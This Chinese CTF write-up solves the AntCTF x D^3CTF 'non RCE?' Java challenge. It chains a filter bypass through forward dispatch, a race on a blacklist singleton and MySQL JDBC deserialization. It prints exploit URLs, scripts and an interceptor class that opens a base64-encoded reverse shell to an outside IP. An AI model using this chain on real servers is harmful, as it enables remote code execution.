non-rce学习与分析

这是AntCTF x D^3CTF比赛,蚂蚁安全非攻实验室出题目 [non RCE?]
赛题源码https://github.com/Ant-FG-Lab/non_RCE

学习与分析

检查源码发现可以从AntiUrlAttackFilterLoginFilterAdminServlet这三个文件入手

password绕过

要进入/admin/*页面,一定要有password参数,LoginFilterpassword参数进行验证。由下图可知password是未知的,并不是本地源码的空字符串,所以需要绕过。
1
AntiUrlAttackFilter.java这个文件是对/*进行过滤,恰好有forward操作
2
request.getRequestDispatcher(filteredUrl).forward(request.response)这个语句意思是将客户端的请求转向(forward)到getRequestDispatcher()方法中参数定义的页面或者链接。

为什么forward之后就不会过滤呢?因为这里在@WebFilter装饰器的参数中有个叫dispatcherTypes的参数,默认存在DispatcherType.REQUEST参数,而他还有DispatcherType.FORWARDDispatcherType.INCLUDEDispatcherType.ASYNCDispatcherType.ERROR这4个参数,如果设置了dispatcherTypes所对应的参数,则会进行filter过滤,反之没有设置则不会再被filter进行过滤
因为此次为默认,只会过滤REQUEST请求,不会过滤FORWARD,则造成了绕过
如果设置为如下方式,则仍会进行过滤

1
2
3
4
5
@WebFilter(
filterName = "LoginFilter",
urlPatterns = {"/admin/*"},
dispatcherTypes = {DispatcherType.FORWARD}
)

因此http://localhost:8080/;admin/importData?password=123http://localhost:8080/admin.//importData?password=123都可以进行绕过。

条件竞争

看一下AdminServlet,.java文件,发现进入/admin/importData页面要有databaseTypejdbcUrl参数,首先这两个值不能为空,然后会对jdbcUrl进行黑名单检查,检查通过后,当databaseType值为mysql时,会进行数据库连接。这个时候猜测可以使用MySQL JDBC反序列化。
3
发现黑名单禁止jdbcUrl包含%, autoDeserialize这两个字符串,autoDeserialize就不解释了,%是防止对autoDeserialize进行编码传参
此时需要绕过
看了一下BlackListChecker.java类的逻辑,发现BlackList使用的单例工厂模式,即只有一个实例
4
再看check(String s)函数操作,取出实例后将传入的字符串放入setToBeChecked(String s)函数中,因为只有一个实例,所以每次请求都会刷新this.toBeChecked的值,意味着只要在被拦截的poc执行doCheck()之前将不被拦截的poc放入setToBeChecked(String s)中重新对this.toBeChecked赋值,则可绕过。
其实代码中public volatile String toBeChecked;toBeChecked变量设为volatile也很明显的表示此处可以使用条件竞争,同时也增大了成功的机会,毕竟volatile用于标记一个变量“应当存储在主存”。更确切地说,每次写入一个volatile变量,应该写到主存中,而不是仅仅写到CPU缓存;每次读取volatile变量,都应该从主存读取,而不是从CPU缓存读取。

MySQL JDBC反序列化

这部分之前分析过,MySQL JDBC反序列化

AspectJWeaver反序列化Gadget构造

AspectJWeaver反序列化之前也介绍过
目标文件没有commons-collections依赖,所以需要重新构造gadget
项目中存在DataMap.java文件,里面的方法比较全,可以使用DataMap类替代commons-collections中的类。
关键代码如下:

1
2
3
4
5
6
HashMap wrapperMap = new HashMap();
wrapperMap.put(filename,content);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor dataMapEntryConstructor = Reflections.getFirstCtor("checker.DataMap$Entry");
Reflections.setAccessible(dataMapEntryConstructor);
Object dataMapEntry = dataMapEntryConstructor.newInstance(dataMap,filename);

测试一下:
修改完代码后将ysoserial打成jar包,修改MySQL_Fake_Server的配置

  • 修改ysoserial jar包的位置
  • 增加"AspectJWeaver1":["AspectJWeaver1","aaa.txt;YWhpaGloaQ=="]

命令行测试
5
向本地写入文件

1
2
3
4
5
6
import requests

url = "http://localhost:8080/admin/importData"
params1 = {"password": "", "databaseType": "mysql", "jdbcUrl": "jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_AspectJWeaver1_aaa.txt;YWhpaGloaQ=="}

requests.get(url=url, params = params1)

启动MySQL_Fake_Server的server.py后启动py脚本,写入成功
6

RCE

写入文件之后怎么执行是一个问题。

首先说一下,通过代码运行的话,我是测试成功了,因为要写的路径清楚而去也能写进去;但直接运行jar包的话,是写不进去class

这里有两种方法:

  • 反序列化执行命令
  • interceptor加载

反序列化执行命令先通过AspectJWeaver向服务器上写入恶意的类,该类中重新实现一个readObject方法,再通过MySQL的反序列化加载该类,执行readObject实现RCE
但是本地测试的时候class文件可以写入,但是第二次执行MySQL反序列化漏洞时服务端报找不到写入的类文件。

注意,当使用jar包运行时,是无法通过上述流程写进一个class文件并执行的(java-agent应该是可以的)

第二种方法测试成功。
首先编写antInterceptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package servlet;

import com.mysql.jdbc.Connection;
import com.mysql.jdbc.ResultSetInternalMethods;
import com.mysql.jdbc.Statement;
import com.mysql.jdbc.StatementInterceptor;
import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;

public class antInterceptor implements StatementInterceptor {
public antInterceptor() {
}

public void init(Connection connection, Properties properties) throws SQLException {
}

public ResultSetInternalMethods preProcess(String s, Statement statement, Connection connection) throws SQLException {
try {
Runtime.getRuntime().exec("反弹shell");
} catch (IOException var5) {
var5.printStackTrace();
}

return null;
}

public ResultSetInternalMethods postProcess(String s, Statement statement, ResultSetInternalMethods resultSetInternalMethods, Connection connection) throws SQLException {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuOTIuMjM0LzIxIDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException var6) {
var6.printStackTrace();
}

return null;
}

public boolean executeTopLevelOnly() {
return false;
}

public void destroy() {
}
}

然后编译成class文件后转成base64
转换脚本为

1
2
3
4
5
6
import base64

f = open('antInterceptor.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)

转换后修改ysoserial文件
7
然后发送数据,这里注意,base64中有特殊字符,需要进行URL编码,我这里使用脚本发的数据,所以转换一次就行,在浏览器上发数据需要转换两次

1
2
3
4
5
6
+
编码一次:%2b
编码两次:%25%32%62
==
编码一次:%3d%3d
编码两次:%25%33%64%25%33%64

写入文件成功
8
此时只需要将jdbcUrl修改成jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true&statementInterceptors=servlet.antInterceptor,直接发送就能rce
9

总结

通过这道题学习、复习了很多,感叹于师傅们的思路与操作。更加觉得实践出真知。
本文用到的文件:https://github.com/altEr1125/altEr1125.github.io/tree/master/file/non-rce%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%88%86%E6%9E%90

Reference

https://meizjm3i.github.io/2021/03/07/Servlet%E4%B8%AD%E7%9A%84%E6%97%B6%E9%97%B4%E7%AB%9E%E4%BA%89%E4%BB%A5%E5%8F%8AAsjpectJWeaver%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget%E6%9E%84%E9%80%A0-AntCTFxD-3CTF-non-RCE%E9%A2%98%E8%A7%A3/
https://www.cnblogs.com/sijidou/p/14631154.html
https://www.anquanke.com/post/id/256974